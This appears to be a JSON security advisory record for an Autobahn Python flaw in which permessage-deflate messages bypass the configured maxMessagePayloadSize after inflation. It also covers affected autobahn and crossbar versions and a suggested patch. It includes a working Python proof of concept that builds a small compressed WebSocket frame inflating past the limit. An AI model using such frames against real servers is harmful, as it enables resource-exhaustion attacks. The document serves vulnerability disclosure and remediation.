1 line
14 KiB
JSON
1 line
14 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-hxp9-w8x3-p566","published":"2026-09-22T20:37:28Z","modified":"2026-10-01T17:55:38.804385392Z","aliases":["CVE-2026-77528","PYSEC-2026-4027","PYSEC-2026-4031"],"summary":"Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation","details":"### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n raise SystemExit(\"usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n def debug(self, *args, **kwargs):\n pass\n\n def warn(self, *args, **kwargs):\n pass\n\n def error(self, *args, **kwargs):\n pass\n\n\nclass _Timer:\n def call_later(self, *args, **kwargs):\n return self\n\n def cancel(self):\n pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n @classmethod\n def from_text(cls, text):\n return cls(text)\n\n def __init__(self, text):\n self._text = text\n\n def to_uri(self):\n return self\n\n def normalize(self):\n return self\n\n def to_text(self):\n return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n isServer = True\n requireMaskedClientFrames = True\n maskServerFrames = False\n utf8validateIncoming = True\n applyMask = True\n maxFramePayloadSize = 128\n maxMessagePayloadSize = 128\n autoFragmentSize = 0\n failByDrop = True\n echoCloseCodeReason = False\n openHandshakeTimeout = 5\n closeHandshakeTimeout = 1\n tcpNoDelay = True\n autoPingInterval = 0\n autoPingTimeout = 0\n autoPingSize = 12\n autoPingRestartOnAnyTraffic = True\n logOctets = False\n logFrames = False\n trackTimings = False\n versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n webStatus = False\n perMessageCompressionAccept = staticmethod(lambda offer: None)\n serveFlashSocketPolicy = False\n flashSocketPolicy = \"\"\n allowedOrigins = [\"*\"]\n allowedOriginsPatterns = []\n allowNullOrigin = True\n maxConnections = 0\n trustXForwardedFor = 0\n _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n def __init__(self):\n super().__init__()\n self.delivered = None\n\n def _onMessageBegin(self, isBinary):\n self.onMessageBegin(isBinary)\n\n def _onMessageFrameBegin(self, length):\n self.onMessageFrameBegin(length)\n\n def _onMessageFrameData(self, payload):\n self.onMessageFrameData(payload)\n\n def _onMessageFrameEnd(self):\n self.onMessageFrameEnd()\n\n def _onMessageFrame(self, payload):\n self.onMessageFrame(payload)\n\n def _onMessageEnd(self):\n self.onMessageEnd()\n\n def _onMessage(self, payload, isBinary):\n self.delivered = payload\n\n def sendData(self, data, sync=False, chopsize=None):\n pass\n\n def dropConnection(self, abort=True):\n self.droppedByMe = True\n self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n compressed = compressed[:-4]\n mask = b\"\\x11\\x22\\x33\\x44\"\n masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n if len(compressed) <= 125:\n header = bytes([0xC1, 0x80 | len(compressed)])\n elif len(compressed) <= 65535:\n header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n else:\n raise RuntimeError(\"compressed fixture too large\")\n return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len >= limit:\n raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n is_server=True,\n server_no_context_takeover=False,\n client_no_context_takeover=False,\n server_max_window_bits=15,\n client_max_window_bits=15,\n mem_level=8,\n max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:\n print(\n \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len}\"\n )\n raise SystemExit(0)\n\nprint(\n \"guarded \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len} \"\n f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n if self.state == WebSocketProtocol.STATE_OPEN:\n self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+ if self._isMessageCompressed:\n+ self.message_data_total_length += uncompressedLen - compressedLen\n+ if 0 < self.maxMessagePayloadSize < self.message_data_total_length:\n+ self.wasMaxMessagePayloadSizeExceeded = True\n+ self._max_message_size_exceeded(\n+ self.message_data_total_length,\n+ self.maxMessagePayloadSize,\n+ f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+ )\n+ return False\n \n # incrementally validate UTF-8 payload\n #\n```\n\n*Reported by Team Atlanta.*","affected":[{"package":{"name":"autobahn","ecosystem":"PyPI","purl":"pkg:pypi/autobahn"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.7.1"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.5.post2","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.12.0","0.12.1","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.18.0","0.18.1","0.18.2","0.3.1","0.3.2","0.4.0","0.4.1","0.4.10","0.4.2","0.4.3","0.5.0","0.5.1","0.5.14","0.5.2","0.5.5","0.5.8","0.5.9","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.2","0.8.3","0.8.4","0.8.4-2","0.8.4-3","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.3-2","0.9.3-3","0.9.4","0.9.4-2","0.9.5","0.9.6","17.10.1","17.5.1","17.6.1","17.6.2","17.7.1","17.8.1","17.9.1","17.9.2","17.9.3","18.10.1","18.11.1","18.11.2","18.12.1","18.3.1","18.4.1","18.5.1","18.5.2","18.6.1","18.7.1","18.8.1","18.8.2","18.9.1","18.9.2","19.1.1","19.10.1","19.11.1","19.11.2","19.2.1","19.3.1","19.3.2","19.3.3","19.5.1","19.6.1","19.6.2","19.7.1","19.7.2","19.8.1","19.9.1","19.9.2","19.9.3","20.1.2","20.1.3","20.12.1","20.12.2","20.12.3","20.2.1","20.2.2","20.3.1","20.4.1","20.4.2","20.4.3","20.6.1","20.6.2","20.7.1","21.1.1","21.11.1","21.2.1","21.2.2","21.3.1","22.1.1","22.12.1","22.2.1","22.2.2","22.3.1","22.3.2","22.4.1","22.4.2","22.5.1","22.6.1","22.7.1","23.1.1","23.1.2","23.6.1","23.6.2","24.4.2","25.10.1","25.10.2","25.11.1","25.12.1","25.12.2","25.9.1","26.6.1","26.6.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"}},{"package":{"name":"crossbar","ecosystem":"PyPI","purl":"pkg:pypi/crossbar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.7.1"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11.0","0.11.1","0.11.2","0.12.1","0.13.0","0.13.1","0.13.2","0.14.0","0.15.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.0-2","0.9.0-3","0.9.0-4","0.9.0-5","0.9.0-6","0.9.0-7","0.9.1","0.9.10","0.9.11","0.9.12","0.9.12-2","0.9.2","0.9.3","0.9.4","0.9.4-2","0.9.4-3","0.9.5","0.9.6","0.9.6-2","0.9.7","0.9.7-2","0.9.7-3","0.9.7-4","0.9.7-5","0.9.7-6","0.9.8","0.9.8-2","0.9.8-3","0.9.8-4","0.9.8-5","0.9.9","16.10.0","16.10.1","17.10.1","17.11.1","17.12.1","17.2.1","17.3.1","17.5.1","17.6.1.post3","17.8.1.post1","17.9.1","17.9.2","18.10.1.post1","18.11.1","18.11.2","18.12.1","18.3.1","18.4.1","18.5.1","18.5.2","18.6.1","18.7.1","18.7.2","18.9.2","19.1.1","19.1.2","19.10.1","19.11.1","19.2.1","19.3.1","19.3.5","19.5.1","19.6.1","19.6.2","19.7.1","19.9.1","20.1.1","20.1.2","20.12.1","20.12.2","20.12.3","20.2.1","20.4.1","20.4.2","20.6.1","20.6.2","20.7.1","20.8.1","21.1.1","21.2.1","21.3.1","22.1.1","22.2.1","22.3.1","22.4.1","22.5.1","22.6.1","25.12.1","26.4.1.dev1","26.6.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"}}],"references":[{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77528"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/pull/1916"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"},{"type":"PACKAGE","url":"https://github.com/crossbario/autobahn-python"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"}],"database_specific":{"cwe_ids":["CWE-409","CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-09-22T20:37:28Z","nvd_published_at":"2026-09-18T20:17:22Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]} |